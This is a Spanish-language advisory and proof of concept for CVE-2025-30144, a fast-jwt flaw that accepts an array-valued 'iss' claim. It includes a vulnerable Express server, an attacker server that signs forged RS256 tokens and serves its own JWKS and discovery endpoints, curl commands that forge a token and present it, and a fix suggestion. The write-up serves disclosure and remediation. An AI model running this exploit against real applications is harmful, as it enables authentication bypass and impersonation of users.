
Prueba de concepto para CVE-2025-30144: omisión de validación del emisor JWT en la librería fast-jwt que permite a atacantes falsificar tokens con claims iss basados en arrays.
La librería fast-jwt no valida correctamente la reclamación iss según la RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
La validación de la reclamación iss (emisor) dentro de la librería fast-jwt permite un array de cadenas como valor válido de iss. Este defecto de diseño posibilita un ataque potencial donde un actor malicioso crea un JWT con una reclamación iss estructurada como ['https://attacker-domain/', 'https://valid-iss']. Debido a la validación permisiva, el JWT se considerará válido.
Además, si la aplicación depende de librerías externas como get-jwks que no validan independientemente la reclamación iss, el atacante puede aprovechar esta vulnerabilidad para falsificar un JWT que será aceptado por la aplicación víctima. En esencia, el atacante puede insertar su propio dominio en el array iss, junto con el emisor legítimo, y eludir las comprobaciones de seguridad previstas.
Tome un servidor ejecutando el siguiente código:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Ahora construimos un servidor que se usará para generar el token JWT y enviar las claves de verificación al servidor víctima:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
Las aplicaciones que dependen de la validación de la reclamación iss por parte de fast-jwt permiten a los atacantes firmar cargas útiles arbitrarias que serán aceptadas por el verificador.
Cambiar https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 a un validador que acepte solo una cadena para el valor como se indica en la RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.